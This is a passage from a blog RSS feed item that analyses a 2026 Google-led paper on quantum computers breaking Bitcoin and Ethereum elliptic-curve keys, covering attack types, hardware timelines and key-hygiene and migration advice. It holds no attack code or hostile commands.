<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Bitcoin-and-Cryptocurrency | AkitaOnRails.com</title><link>https://akitaonrails.github.io/en/tags/bitcoin-and-cryptocurrency/</link><description>Fabio Akita's blog — tech, career, and assorted geek topics. English edition.</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Mon, 19 Oct 2026 23:20:51 +0000</lastBuildDate><atom:link href="https://akitaonrails.github.io/en/tags/bitcoin-and-cryptocurrency/index.xml" rel="self" type="application/rss+xml"/><item><title>What the Google Quantum Vulnerability Paper Means</title><link>https://akitaonrails.github.io/en/2026/08/16/what-the-google-quantum-vulnerability-paper-means/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/16/what-the-google-quantum-vulnerability-paper-means/</guid><pubDate>Sun, 16 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;A Google paper dropped, and the predictable headline came with it: &amp;ldquo;quantum computer will break Bitcoin.&amp;rdquo; On the other side, the &amp;ldquo;it&amp;rsquo;s FUD, ignore it&amp;rdquo; crowd answered at the same volume. Both reactions are wrong, and the paper itself is far more interesting than either shouting match.&lt;/p&gt;
&lt;p&gt;The document is called &lt;a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener"&gt;Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities&lt;/a&gt;, and the author list alone forces you to take it seriously: it&amp;rsquo;s Google Quantum AI (with Craig Gidney, the same guy behind the recent &lt;a href="https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29"target="_blank" rel="noopener"&gt;RSA&lt;/a&gt;-breaking estimates), plus the Ethereum Foundation (Justin Drake) and Stanford (Dan Boneh, one of the fathers of &lt;a href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography"target="_blank" rel="noopener"&gt;elliptic-curve cryptography&lt;/a&gt;). This is people who build quantum computers sitting at the same table as people who invented a good chunk of the cryptography running today. Rare weight for a subject that usually attracts a lot of hot takes from folks who never read a line of what they&amp;rsquo;re trashing.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A Google paper dropped, and the predictable headline came with it: &ldquo;quantum computer will break Bitcoin.&rdquo; On the other side, the &ldquo;it&rsquo;s FUD, ignore it&rdquo; crowd answered at the same volume. Both reactions are wrong, and the paper itself is far more interesting than either shouting match.</p>
<p>The document is called <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities</a>, and the author list alone forces you to take it seriously: it&rsquo;s Google Quantum AI (with Craig Gidney, the same guy behind the recent <a href="https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29"target="_blank" rel="noopener">RSA</a>-breaking estimates), plus the Ethereum Foundation (Justin Drake) and Stanford (Dan Boneh, one of the fathers of <a href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography"target="_blank" rel="noopener">elliptic-curve cryptography</a>). This is people who build quantum computers sitting at the same table as people who invented a good chunk of the cryptography running today. Rare weight for a subject that usually attracts a lot of hot takes from folks who never read a line of what they&rsquo;re trashing.</p>
<p>First things first: <strong>read the paper directly</strong>. It&rsquo;s long and dense, but written with rare care, including an explicit effort not to turn into FUD.</p>
<p>What I&rsquo;m doing here is my own read, then comparing it with what GLM, Kimi, and ChatGPT made of it when I asked them to tear the text apart, and finally trying to answer the question that matters to anyone holding a handful of satoshis or ether: in the real world, what are the odds a quantum computer steals your money in the next few years?</p>
<p>I&rsquo;ll tip the spirit of it upfront: the sky isn&rsquo;t falling. But the &ldquo;start moving now&rdquo; message has real grounding, and the reason is subtler than &ldquo;quantum is coming.&rdquo;</p>
<p>The short version, for the impatient:</p>
<ul>
<li><strong>The paper is serious and the math holds.</strong> Google, the Ethereum Foundation, and Stanford show that breaking secp256k1 dropped to under 500,000 physical qubits and about 9 minutes, in a conditional scenario already confirmed by open, independent reproduction.</li>
<li><strong>This measures the machine&rsquo;s size; the date stays open.</strong> Today&rsquo;s best hardware works with about 12 logical qubits, and the attack asks for more than 1,200. On IBM&rsquo;s roadmap, hardware of the right size shows up around 2033.</li>
<li><strong>Bitcoin isn&rsquo;t ending.</strong> The risk hits whoever has an exposed public key, a subset of addresses (around 6.9 million BTC, much of it already lost). A modern no-reuse wallet stays safe at rest, and mining is at no risk at all.</li>
<li><strong>What you can do.</strong> As a user, key hygiene: a fresh address per use, no reuse (a stronger password doesn&rsquo;t help against quantum). As an industry, start the post-quantum migration now, in layers, without throwing everything out.</li>
</ul>
<p>Below, each of these points in full: what the paper says, where I agree and disagree with the other models, the real odds with timelines, and what to do in practice.</p>
<h2>What the paper actually says, in plain engineer terms<span class="hx:absolute hx:-mt-20" id="what-the-paper-actually-says-in-plain-engineer-terms"></span>
    <a href="#what-the-paper-actually-says-in-plain-engineer-terms" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Let me get the jargon out of the way first. The security of Bitcoin, Ethereum, and almost all crypto rests on a math problem: given a public key, computing the matching private key is infeasible. Everyone sees your public key; nobody can walk back from it to your private key. That one-way street is what makes a digital signature worth anything.</p>
<p><a href="https://en.wikipedia.org/wiki/Shor%27s_algorithm"target="_blank" rel="noopener">Shor&rsquo;s algorithm</a>, running on a big enough quantum computer, breaks exactly that one-way street. It turns &ldquo;infeasible&rdquo; into &ldquo;a matter of minutes.&rdquo; That&rsquo;s been known since 1994. The paper&rsquo;s news is something else, and it&rsquo;s five points.</p>
<p><strong>First: the cost collapsed.</strong> The Google team presents new circuits for solving the <a href="https://en.bitcoin.it/wiki/Secp256k1"target="_blank" rel="noopener">secp256k1</a> curve (the curve behind Bitcoin and Ethereum accounts) using far fewer resources than anyone thought. Two recipes: one with under 1,200 logical qubits and 90 million Toffoli gates, another with under 1,450 logical qubits and 70 million gates.</p>
<p>On superconducting hardware, with standard error-correction assumptions, that would fit in <strong>under 500,000 physical qubits</strong> — nearly 20 times fewer than prior estimates — and run in <strong>9 to 12 minutes</strong> from a precomputed state. Hold onto that number: 9 minutes. It&rsquo;s the scary one, because it&rsquo;s shorter than Bitcoin&rsquo;s average block interval.</p>
<p><strong>Second: they didn&rsquo;t publish the circuit.</strong> Here&rsquo;s a move that&rsquo;s elegant and controversial at once. To prove they have a circuit that size without handing everyone a loaded gun, they published a <strong><a href="https://en.wikipedia.org/wiki/Zero-knowledge_proof"target="_blank" rel="noopener">zero-knowledge proof</a></strong>: a mathematical proof that they possess the circuit, without revealing the circuit. Responsible in intent. Except, as I&rsquo;ll get to, this part was the shakiest piece of the whole story.</p>
<p>If &ldquo;zero-knowledge proof&rdquo; sounds esoteric, the idea is simple and old in cryptography: prove you know or have something without revealing the thing itself. You can prove you&rsquo;re of legal age without showing your birthdate, or that you know a password without typing it.</p>
<p>It&rsquo;s the same trick behind the privacy of several cryptocurrencies: Zcash uses ZK (the so-called zk-SNARKs) to validate shielded transactions without exposing amount or address, Monero uses range proofs (bulletproofs) to hide how much was sent, and Ethereum&rsquo;s zk-rollups use ZK to prove a batch of transactions is valid without reprocessing all of it. In the paper, Google uses the same family of tool to prove it possesses the circuit, without handing over the circuit.</p>
<p><strong>Third: not every quantum computer is good for everything.</strong> The paper draws a distinction that&rsquo;s the text&rsquo;s best practical contribution. There&rsquo;s the &ldquo;fast clock&rdquo; (superconducting, photonic) and the &ldquo;slow clock&rdquo; (trapped ions, neutral atoms), with a 100x to 1,000x speed difference. Out of that speed come three types of attack:</p>
<ul>
<li><strong>On-spend attack:</strong> the attacker intercepts your transaction in the mempool, breaks the key, and injects a rival transaction before your spend lands in a block. Needs a fast clock, because it&rsquo;s a race against the block clock.</li>
<li><strong>At-rest attack:</strong> the public key is already exposed on the blockchain (a dormant wallet, a reused key). The attacker has days or months to work. Even a slow clock does the job.</li>
<li><strong>On-setup attack:</strong> a single quantum computation extracts a secret from a cryptographic ceremony and becomes a reusable master key, which then runs on ordinary classical computers. This one&rsquo;s the most insidious, and it hits things like Ethereum&rsquo;s data-availability mechanism.</li>
</ul>
<p><strong>Fourth: the map of who bleeds.</strong> On Bitcoin, the at-rest targets are the old <a href="https://en.bitcoin.it/wiki/Script"target="_blank" rel="noopener">P2PK</a> scripts (about 1.7 million BTC, almost all Satoshi-era and probably lost), <a href="https://bitcoinops.org/en/topics/taproot/"target="_blank" rel="noopener">Taproot</a> (P2TR, which exposes the key), and any reused address.</p>
<p>All told, the paper estimates around 6.9 million BTC vulnerable today, of which some 2.3 million have been dormant for more than five years. Modern addresses that hide the key behind a hash and have never spent stay safe at rest.</p>
<p>And there&rsquo;s good news buried here: <strong>Bitcoin mining is not at risk</strong>. <a href="https://en.wikipedia.org/wiki/Grover%27s_algorithm"target="_blank" rel="noopener">Grover&rsquo;s algorithm</a>, which would attack mining, has too small a gain and doesn&rsquo;t parallelize; error-correction overhead eats it all. The paper buries that myth on purpose.</p>
<blockquote>
  <p><strong>Bitcoin mining is not at risk. Quantum toppling Proof-of-Work is the myth this paper buries on purpose.</strong></p>

</blockquote>
<p><strong>Fifth: Ethereum has a much larger surface.</strong> The account model exposes the public key permanently after the first transaction, unlike Bitcoin&rsquo;s UTXO model. Add to that contract admin keys (stablecoins, bridges, oracles), the <a href="https://en.wikipedia.org/wiki/BLS_digital_signature"target="_blank" rel="noopener">BLS signatures</a> holding up <a href="https://en.wikipedia.org/wiki/Proof_of_stake"target="_blank" rel="noopener">Proof-of-Stake</a> consensus, and the <a href="https://dankradfeist.de/ethereum/2020/06/16/kate-polynomial-commitments.html"target="_blank" rel="noopener">KZG commitments</a> in the data layer. More stuff exposed, and much of it you can&rsquo;t &ldquo;change addresses&rdquo; to escape.</p>
<p>And how does the paper argue all this? Three legs: the resource estimates (with the zero-knowledge proof for credibility), real blockchain data (the BTC and ETH at-risk figures come from public <a href="https://en.wikipedia.org/wiki/BigQuery"target="_blank" rel="noopener">BigQuery</a> queries), and the honest framing that the goal is to sound the alarm to migrate, making clear the machine is still to come.</p>
<p>The paper, by the way, <strong>gives no date</strong>. It sizes the machine and stops there; the calendar stays open.</p>
<h2>Where I agree and disagree with the other models<span class="hx:absolute hx:-mt-20" id="where-i-agree-and-disagree-with-the-other-models"></span>
    <a href="#where-i-agree-and-disagree-with-the-other-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I asked GLM 5.3, Kimi K3, and ChatGPT (GPT 5.6) to analyze and criticize the paper. The interesting part is that all three, and I, converge on the essentials and diverge on exactly the same points. That&rsquo;s a good sign: when different models hammer the same nail, the nail usually exists.</p>
<p><strong>What everyone agrees on (me included):</strong></p>
<ul>
<li>The logical-resource estimate is <strong>credible</strong>. It&rsquo;s not a number out of nowhere: it follows the historical trajectory (the cost to break RSA-2048 fell from ~1 billion qubits in 2012 to under 1 million in 2025) and comes from the very group that produced the field&rsquo;s best estimates.</li>
<li>The fast-clock / slow-clock distinction and the spend / rest pairing are the right lens for thinking about mitigation.</li>
<li>The mining immunity is correct and needed saying out loud.</li>
<li>Dormant assets are a real problem no software fork solves on its own, because nobody holds the private key to move the lost coins.</li>
</ul>
<p><strong>What everyone flags (and I flag harder):</strong></p>
<p>ChatGPT was the sharpest on a distinction worth gold: <strong>there&rsquo;s a gulf between &ldquo;value at risk&rdquo; and &ldquo;expected loss&rdquo;</strong>. When the paper says &ldquo;20.5 million ETH in vulnerable accounts&rdquo; or &ldquo;6.9 million BTC exposed,&rdquo; that measures how much the system leans on fragile cryptography. It&rsquo;s a far bigger number than what an attacker could actually steal.</p>
<p>There&rsquo;s overlap, there&rsquo;s multisig, there&rsquo;s admin keys you can rotate, there are contracts with an emergency council that pauses everything. Stacking those numbers into a &ldquo;trillions at risk&rdquo; headline is dishonest to the paper itself.</p>
<blockquote>
  <p><strong>&ldquo;Value at risk&rdquo; measures how much the system leans on fragile cryptography. It&rsquo;s a far bigger number than what an attacker could actually steal.</strong></p>

</blockquote>
<p>Same goes for the famous <strong>41% chance of theft on Bitcoin</strong>. That number is only the probability that the 9-minute computation finishes before the next block shows up (a block arrives every 10 minutes on average, but with a lot of variance). It&rsquo;s not the chance of stealing your money.</p>
<p>To steal, the attacker still has to propagate the rival transaction, convince a miner to include it, win the fee race. And the paper itself assumes attacker-friendly conditions (no network congestion, instant delivery). Kimi and ChatGPT hit this one, and they&rsquo;re right.</p>
<p>The most important point, and one I think the paper leaves between the lines on purpose: <strong>the 500,000 physical qubits and the 9 minutes describe a conditional engineering scenario. On dates, the paper says nothing.</strong> It&rsquo;s a blueprint for a machine that <em>could</em> do the attack, assuming a 0.1% error rate, 1-microsecond correction cycles, low-latency decoding, enough magic-state factories, and half a million qubits running stable for minutes on end.</p>
<p>Each assumption is reasonable in isolation. The whole chain working together, at that scale, nobody has demonstrated.</p>
<p>And here&rsquo;s the most interesting part, which Kimi and ChatGPT caught and I confirmed by searching outside: <strong>the zero-knowledge proof mechanism had a bug.</strong> Trail of Bits <a href="https://blog.trailofbits.com/2026/04/17/we-beat-googles-zero-knowledge-proof-of-quantum-cryptanalysis/"target="_blank" rel="noopener">managed to forge a proof</a> by exploiting memory and logic bugs in Google&rsquo;s Rust verifier code, to the point of generating a proof that reported zero Toffoli gates for a circuit that wasn&rsquo;t even reversible.</p>
<p>Notice what that breaks and what it doesn&rsquo;t. The flaw was in the software that checks the proof, not in any demonstration that the paper&rsquo;s circuit is wrong. The proof stopped being trustworthy, and the scientific claim itself stayed standing, neither proven nor disproven. Google patched the verifier in version 2.</p>
<p>The lesson is about trust: instead of trusting Google&rsquo;s word, the proof was asking you to trust its parser, its compiler, and its simulator.</p>
<p>And that&rsquo;s exactly why the independent reproduction matters so much. In June 2026, researcher André Schrottenloher <a href="https://postquantum.com/security-pqc/google-ecdlp-circuits-reproduced-open/"target="_blank" rel="noopener">rebuilt the circuits in the open</a>, landing in the same region: about 56 million Toffoli gates, with the entire circuit published and reproducible.</p>
<p>Gidney himself acknowledged the reproduction captured the essential breakthrough, and after that others already pushed the number below a thousand logical qubits. So: the paper&rsquo;s central claim held up, but through a route that doesn&rsquo;t depend on trusting anyone&rsquo;s proof software. Open science is what closed the case.</p>
<p>One last point almost nobody raises and I think needs saying: <strong>conflict of interest.</strong> Seven authors are from Google Quantum AI, whose hardware roadmap is precisely the superconducting architecture the paper makes look like the nearest threat. And there&rsquo;s an Ethereum Foundation coauthor on a paper that ranks Ethereum as more exposed and recommends urgent migration.</p>
<p>The authors disclose long positions in crypto and no shorts, which is honest. None of this invalidates anything — the team&rsquo;s technical chops are the best in the field — but it calls for a calibrated read, with a cool head.</p>
<h2>The question that matters: what are the real odds, and when?<span class="hx:absolute hx:-mt-20" id="the-question-that-matters-what-are-the-real-odds-and-when"></span>
    <a href="#the-question-that-matters-what-are-the-real-odds-and-when" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Let&rsquo;s separate the theoretical from the real, which is where most of these debates turn to mush.</p>
<p><strong>In theory, the answer is yes, comfortably.</strong> If a big, stable enough machine exists, Shor&rsquo;s algorithm breaks secp256k1. On the math side it&rsquo;s already settled; what&rsquo;s left is engineering. The whole question boils down to: <em>when does that machine exist?</em></p>
<h3>Physical qubit versus logical qubit<span class="hx:absolute hx:-mt-20" id="physical-qubit-versus-logical-qubit"></span>
    <a href="#physical-qubit-versus-logical-qubit" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A quick aside to separate two numbers that trip almost everyone up: physical qubit and logical qubit. The physical qubit is the real hardware, and it&rsquo;s noisy; it loses its state in a blink, from interference, heat, vibration. On its own, it errs far too much for any serious computation.</p>
<p>The fix is error correction: you gang up hundreds or thousands of physical qubits, all representing <strong>one</strong> logical qubit, and use the redundancy to detect and repair errors in real time. The logical qubit is the &ldquo;real,&rdquo; stable qubit the algorithm actually sees.</p>
<p>And that&rsquo;s where the difficulty hides behind the numbers. The attack doesn&rsquo;t just ask for 1,200 logical qubits; it asks for <strong>1,200 logical qubits working together, all stable at the same time, for minutes on end</strong>, running tens of millions of operations without the correction system getting buried under errors.</p>
<p>It&rsquo;s like keeping a thousand plates spinning at once, each plate made of a thousand pieces that want to fall, for the entire length of the show. Keeping a single such plate up for an instant was the historic feat of 2024. The jump to a thousand plates, spinning for minutes, is the real chasm.</p>
<h3>Where the hardware stands today<span class="hx:absolute hx:-mt-20" id="where-the-hardware-stands-today"></span>
    <a href="#where-the-hardware-stands-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>In today&rsquo;s reality, we&rsquo;re far off.</strong> Google itself helps measure the distance. <a href="https://blog.google/innovation-and-ai/technology/research/google-willow-quantum-chip/"target="_blank" rel="noopener">Willow</a>, their flagship chip, demonstrated below-threshold error correction in 2024, a historic feat. But the result was <strong>a single well-corrected logical qubit</strong>, built from 101 physical ones, which outlived every one of them.</p>
<p>If the ruler is the number of logical qubits running together, the public record today is around a dozen (<a href="https://en.wikipedia.org/wiki/Quantinuum"target="_blank" rel="noopener">Quantinuum</a> reached 12). The paper asks for more than 1,200. On both rulers, quality and quantity, the distance runs to roughly a hundredfold, and each logical qubit still costs thousands of physical qubits with the stability we&rsquo;re missing.</p>
<p>In physical qubits, the largest announced system is in the low thousands; the attack wants nearly half a million. Several orders of magnitude of distance, across several dimensions at once. Nothing a fine-tuning pass fixes.</p>
<blockquote>
  <p><strong>Today&rsquo;s best hardware works with logical qubits in the dozen range. The attack needs more than a thousand. The gap is orders of magnitude.</strong></p>

</blockquote>
<p>There&rsquo;s also a bet that sidesteps this brute-force game: the topological one, from Microsoft. The idea is a hardware-protected qubit, naturally more error-resistant, which would slash the count of physical qubits per logical one. <a href="https://www.forbes.com/sites/moorinsights/2026/07/16/microsoft-doubles-down-on-topological-qubits-with-majorana-2-chip/"target="_blank" rel="noopener">Majorana 2</a>, in 2026, swapped aluminum for lead and jumped coherence from milliseconds to 20 seconds, and Microsoft pulled its fault-tolerance target from 2033 to 2029.</p>
<p>But it&rsquo;s the most disputed bet of them all. Much of the community doubts a real working topological qubit is even there; the latest paper shows only half the measurements that would prove the qubit. If it pans out, it&rsquo;s a shortcut for everyone; if not, it&rsquo;s a dead end. I broke this case down in <a href="/en/2026/07/12/quantum-news-majorana-2-and-understanding-shor/">a separate article</a>.</p>
<h3>The roadmaps and the timelines<span class="hx:absolute hx:-mt-20" id="the-roadmaps-and-the-timelines"></span>
    <a href="#the-roadmaps-and-the-timelines" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>The near future is where the real debate lives.</strong> The honest way to talk about it is with estimates, because nobody has certainty here. The most-cited reference is the <a href="https://globalriskinstitute.org/publication/quantum-threat-timeline/"target="_blank" rel="noopener">Global Risk Institute&rsquo;s Quantum Threat Timeline</a>, an annual survey of experts in the field.</p>
<p>The 2025 edition gives something like <strong>34% odds of a cryptographically relevant quantum computer by ~2030 and ~49% by ~2035</strong>, with the median opinion landing between 2029 and 2032. And those estimates are for a generic CRQC, typically framed around breaking RSA-2048.</p>
<p>On the manufacturing side, the most explicit roadmap is <a href="https://www.ibm.com/roadmaps/quantum/"target="_blank" rel="noopener">IBM&rsquo;s</a>. It projects Starling in 2029, the first large-scale fault-tolerant machine, with 200 logical qubits and 100 million operations.</p>
<p>Notice that 200 still sits below the more than 1,200 the attack asks for. The machine of the right size only shows up on the next step, Blue Jay, slated for 2033, with 2,000 logical qubits and a billion operations.</p>
<p>So even on the industry&rsquo;s own most aggressive roadmap, hardware with enough logical qubits to threaten secp256k1 arrives around 2033, with the usual caveat: quantum roadmaps slip. IBM is betting on <a href="https://errorcorrectionzoo.org/c/qldpc"target="_blank" rel="noopener">qLDPC</a> codes to get there, which cut the physical qubits behind each logical one by about 90% compared to Willow&rsquo;s surface code.</p>
<p>And China? It&rsquo;s right there at the frontier, which kills the one-horse-race framing. USTC&rsquo;s <a href="https://quantumzeitgeist.com/zuchongzhi-3-google-quantum-error-correction/"target="_blank" rel="noopener">Zuchongzhi 3.2</a> crossed the same error-correction threshold as Willow in 2025, with a distance-7 surface-code logical qubit, and it was the first team outside the US to get there.</p>
<p>But notice it&rsquo;s the same milestone: a single well-corrected logical qubit, the same hundredfold gap to 1,200. And publicly, China hasn&rsquo;t put a dated roadmap for the big machine on the table the way IBM has; the stated plan is incremental, pushing the code distance to 9 and 11. At the science frontier, it&rsquo;s a tie; on a calendar to the machine that breaks crypto, neither side has an easy date.</p>
<p>A warning about all these dates: they&rsquo;re the best case, with every published roadmap landing on time. A roadmap is a statement of intent, and quantum computing&rsquo;s track record is one of timelines slipping forward.</p>
<p>I&rsquo;ll go further, and this is my own opinion: I&rsquo;d bet on a timeline at least an order of magnitude longer than these roadmaps. Keeping thousands of logical qubits in sync, error-free, for minutes on end, is anything but a linear problem. My gut says each extra logical qubit makes the whole set exponentially harder to hold together: the difficulty of syncing multiplies with every new piece, rather than just adding up.</p>
<h3>My read, in numbers<span class="hx:absolute hx:-mt-20" id="my-read-in-numbers"></span>
    <a href="#my-read-in-numbers" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Mapping that onto crypto specifically, my read in round numbers, taking the roadmaps at face value (far more optimistic than my own bet just above), and always as estimate and opinion:</p>
<ul>
<li><strong>Next 2 to 3 years (through ~2029):</strong> near zero. Going from 12 to 1,200 stable logical qubits in that window isn&rsquo;t on any serious public roadmap.</li>
<li><strong>The 2030–2032 horizon:</strong> low, but not negligible. Maybe 10% to 20% that the machine exists <em>in principle</em>. The actual theft chance is lower still, because the highest-value targets (exchanges, modern wallets) will have moved by then.</li>
<li><strong>Around 2035:</strong> here it becomes a coin flip for a generic CRQC, in the 40% to 50% range per the experts. Except &ldquo;a CRQC exists&rdquo; isn&rsquo;t the same as &ldquo;they stole your money.&rdquo; By then, migration should be well underway.</li>
</ul>
<p>The detail that decides everything, and that Mosca sums up in a simple theorem: what matters is <strong>the machine&rsquo;s date minus the time your migration takes</strong>. If migrating takes years, and the machine could arrive in five to ten, you&rsquo;re already in a bind, even with low short-term odds. That&rsquo;s why &ldquo;start now&rdquo; makes sense even with clear skies. Asymmetric risk management, with a cool head.</p>
<h2>Why this isn&rsquo;t &ldquo;it&rsquo;s over, everything&rsquo;s lost&rdquo;<span class="hx:absolute hx:-mt-20" id="why-this-isnt-its-over-everythings-lost"></span>
    <a href="#why-this-isnt-its-over-everythings-lost" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Even in the scenario of a ready machine and a bad actor, the damage is surgical, hitting specific targets instead of wiping everything. And the reason is simple to grasp.</p>
<p>Your crypto doesn&rsquo;t live on your hard drive or your Ledger. It lives on the public blockchain, in plain sight, all the time. The device only holds the private key that authorizes moving it. Anyone can hit a block explorer, type an address, and see the balance. What decides your quantum exposure is one thing only: <strong>has your public key shown up somewhere?</strong></p>
<p>On modern Bitcoin addresses (the <code>bc1q</code> ones, which hide the key behind a hash), as long as you&rsquo;ve <strong>never spent</strong> from that address, the public key isn&rsquo;t exposed. The quantum attacker has nowhere to start, because it breaks the public key, and the key isn&rsquo;t there. Those funds are safe at rest.</p>
<p>Exposure is only born the moment you spend, and even then it&rsquo;s a window of minutes, against a block clock, needing that fast-clock machine that doesn&rsquo;t exist yet.</p>
<p>Watch the word, though: &ldquo;quantum-resistant&rdquo; is too big for these addresses. What they give you is at-rest protection, good only while the key stays hidden behind the hash. The day you spend, the public key hits the block and opens the on-spend window. The permanent shield only comes with migrating to a post-quantum signature; the hash just buys time until then.</p>
<p>That&rsquo;s why the paper talks about roughly 6.9 million vulnerable BTC, out of the nearly 20 million that exist. The biggest slice of that is reused keys and Satoshi-era P2PK, which are probably lost anyway.</p>
<p>It concentrates in a subset of addresses with one specific behavior, an exposed key, while the rest of the network stays out of it. Anyone using a fresh address per receipt and not spending from the same place over and over is, in practice, off the at-rest radar.</p>
<blockquote>
  <p><strong>The vulnerable crypto is a subset of addresses with one specific behavior: an already-exposed key. A fresh, no-reuse wallet stays out of it.</strong></p>

</blockquote>
<h2>What you can do today<span class="hx:absolute hx:-mt-20" id="what-you-can-do-today"></span>
    <a href="#what-you-can-do-today" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here comes the question that always shows up, and the answer that disappoints anyone hoping for a magic button.</p>
<p><strong>&ldquo;If I create a wallet with a stronger password/passphrase, does that help?&rdquo;</strong> No. And understanding why teaches the whole problem.</p>
<p>A strong passphrase protects your <em>seed</em> — those 12 or 24 words — against someone trying to guess or steal the backup. That&rsquo;s great and you should do it, but it&rsquo;s a defense against a classical attack.</p>
<p>And don&rsquo;t mix up the problems: a badly generated seed is a separate failure, from the classical world. That&rsquo;s what happened with <a href="/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/">Coinkite&rsquo;s weak RNG</a>, where the ColdCard itself spat out predictable keys from bad entropy at the source. There the defect is in how the key is born; quantum attacks the math of the already-finished key.</p>
<p>The quantum computer doesn&rsquo;t guess your seed. It takes your <strong>public</strong> key, sitting in plain sight on the blockchain, and computes the matching private key with Shor. It doesn&rsquo;t matter whether your private key came from a 4-character passphrase or a 40-character one: once the public key has shown up, password strength is irrelevant. Quantum attacks the curve&rsquo;s math, and that math is the same for everyone.</p>
<blockquote>
  <p><strong>Quantum doesn&rsquo;t guess your seed. It computes your private key from the public key already in plain sight. Password strength doesn&rsquo;t enter into it.</strong></p>

</blockquote>
<p>What actually moves the needle is key-exposure hygiene:</p>
<ul>
<li><strong>Don&rsquo;t reuse addresses.</strong> One address per receipt. The moment you spend from an address, its public key goes to the blockchain; if you keep using that address, the remaining balance becomes exposed at rest.</li>
<li><strong>Keep the bulk in modern addresses that hide the key behind a hash</strong> (<code>bc1q</code>, P2WPKH) and that you&rsquo;ve never spent from. Avoid parking reserves in Taproot (<code>bc1p</code>) and in old P2PK addresses, which expose the key directly.</li>
<li><strong>Don&rsquo;t spread your extended public key (xpub) around.</strong> Portfolio tools, a shared spreadsheet, a third-party integration: every place that gets your xpub is one more exposure point.</li>
<li><strong>When real post-quantum wallets show up, migrate.</strong> That&rsquo;s the definitive step, and it&rsquo;ll arrive via a software update.</li>
</ul>
<p>And the most important thing to keep your head straight: if you store on a serious exchange or use a modern wallet without reuse, your short-term risk is practically zero. The exchange is the one that&rsquo;ll have to migrate for you (with the custody risks that already exist, quantum or not). No need to run around today moving anything in a panic.</p>
<h2>What the industry can do, without going radical<span class="hx:absolute hx:-mt-20" id="what-the-industry-can-do-without-going-radical"></span>
    <a href="#what-the-industry-can-do-without-going-radical" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On the protocol-builder side, the temptation is the extreme: &ldquo;drop everything and switch to post-quantum signatures tomorrow.&rdquo; That&rsquo;s as bad as &ldquo;ignore it, it&rsquo;s FUD.&rdquo; Post-quantum cryptography is newer, less battle-tested, has much larger keys and signatures, and swapping blind introduces new bugs where there were none. The sensible path is defense in depth, starting with what&rsquo;s cheap.</p>
<p><strong>Intermediate measures, easier than the full swap:</strong></p>
<ul>
<li>Kill key reuse and minimize public-key exposure in the protocol and wallets by default.</li>
<li>Private mempools and commit-reveal schemes, which close the on-spend attack window.</li>
<li>Validator key rotation on Ethereum, a simple stopgap against the consensus attack.</li>
<li>On Bitcoin, proposals like BIP-360 (the P2MR script), which removes Taproot&rsquo;s at-rest key exposure.</li>
</ul>
<p><strong>The medium-term bridge:</strong> hybrid signatures, which combine today&rsquo;s elliptic curve with a post-quantum scheme (lattice-based, for instance). You stay protected against both worlds at the cost of larger signatures, and you don&rsquo;t bet everything on a new scheme that might have an undiscovered weakness.</p>
<p><strong>The ground is more mature than it looks.</strong> NIST has already standardized post-quantum schemes (ML-DSA, the former Dilithium; Falcon; SPHINCS+). Ethereum is discussing post-quantum precompiles (EIP-7932) and account abstraction, which shrink the surface without a traumatic hard fork. Blockchains like Algorand, XRP Ledger, and QRL already experiment with PQC or were born with it. The rail for this migration is already laid, far from a leap in the dark.</p>
<p><strong>And the piece nobody has solved:</strong> dormant assets. The lost P2PK coins, including the ~1 million BTC attributed to Satoshi, have no owner to migrate them.</p>
<p>The paper discusses options — do nothing, burn the coins via soft fork, a &ldquo;recovery sidechain,&rdquo; or even government-regulated salvage, on the sunken-treasure analogy.</p>
<p>Here I&rsquo;ll be blunt: <strong>this part is the paper&rsquo;s weakest. It&rsquo;s political opinion dressed up as a technical conclusion.</strong> Nothing in the qubit estimate says who should keep a lost coin, or whether sitting still for five years extinguishes a property right.</p>
<p>These are thorny legal and political choices the paper raises honestly but is nowhere near closing. Good that the conversation starts; bad to treat it as if there&rsquo;s a ready answer.</p>
<blockquote>
  <p><strong>The policy section on lost coins is the paper&rsquo;s weakest: there the science stops and the opinion begins.</strong></p>

</blockquote>
<h2>Where we actually stand<span class="hx:absolute hx:-mt-20" id="where-we-actually-stand"></span>
    <a href="#where-we-actually-stand" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Summing up the near-future quantum picture in a few layers, ruler always calibrated:</p>
<table>
  <thead>
      <tr>
          <th>Layer</th>
          <th>Situation</th>
          <th>Read</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Theoretical</strong></td>
          <td>Shor breaks secp256k1 if the machine exists</td>
          <td>Mathematical certainty; the question is when the machine exists</td>
      </tr>
      <tr>
          <td><strong>Reality today (2026)</strong></td>
          <td>~12 logical qubits (Quantinuum); attack needs &gt;1,200</td>
          <td>A factor of ~100 in logical qubits, several orders of magnitude in physical. Nobody steals anything today</td>
      </tr>
      <tr>
          <td><strong>Next 2–3 years (~2029)</strong></td>
          <td>Off any serious public roadmap</td>
          <td>Risk near zero</td>
      </tr>
      <tr>
          <td><strong>2030–2032</strong></td>
          <td>A machine capable <em>in principle</em> starts to be plausible</td>
          <td>Estimate of ~10–20%; actual theft lower still, targets migrate first</td>
      </tr>
      <tr>
          <td><strong>~2035</strong></td>
          <td>Coin flip for a generic CRQC (experts: ~40–50%)</td>
